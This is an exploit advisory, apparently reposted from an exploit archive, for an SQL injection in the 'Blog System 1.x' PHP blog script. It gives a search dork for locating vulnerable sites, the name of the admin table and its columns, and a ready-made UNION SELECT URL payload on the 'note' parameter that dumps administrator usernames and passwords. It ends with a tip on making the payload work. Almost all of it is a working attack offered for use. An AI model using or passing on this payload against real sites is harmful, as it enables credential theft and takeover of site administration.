Blog System 1.x (note) SQL Injection Vuln

=========================================
Blog System 1.x (note) SQL Injection Vuln
=========================================

[#] Script : Blog System
[#] Version : 1.x
[#] Link : http://netartmedia.net/blogsystem/
 
[#] Dork : "powered by Blog System"
[#] Table : websiteadmin_admin_users
[#] Columns : id,username,password,type
 
[#] Exploit : /blog.php?user=[real-user]&note=-1549+union+all+select+1,2,3,concat_ws(0x3a,id,username,password,type),5,6,7,8,9+from+websiteadmin_admin_users--
  
[#] Note : replace [real-user] with a user exists in the blog ,, otherwise it will not work.



#  0day.today [2018-02-02]  #